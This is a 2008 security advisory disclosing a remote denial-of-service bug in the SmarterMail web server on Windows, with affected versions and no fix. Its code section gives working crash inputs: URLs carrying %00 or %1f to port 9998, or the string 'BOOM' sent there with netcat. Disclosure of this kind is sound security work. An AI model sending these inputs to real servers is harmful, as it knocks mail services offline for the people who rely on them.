#######################################################################

                             Luigi Auriemma

Application:  SmarterMail
              http://www.smartertools.com/Products/SmarterMail/Features/Windows-Mail-Server-Web-Interface.aspx
Versions:     <= 5.0.2999 and beta <= 5.1.3019
              (SMWebSvr.exe <= 2.0.2692.18364)
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         11 Apr 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


SmarterMail is a web mail server with AJAX controls.


#######################################################################

======
2) Bug
======


An incomplete HTTP request or one which includes invalid chars (for
example almost all the non alphanumeric and so on) result in the silent
termination of the SMWebSvr.exe process.


#######################################################################

===========
3) The Code
===========


  http://SERVER:9998/%00
  http://SERVER:9998/%1f

or connect to port 9998 with netcat and sends BOOM followed by two
line-feeds


#######################################################################

======
4) Fix
======


No fix


#######################################################################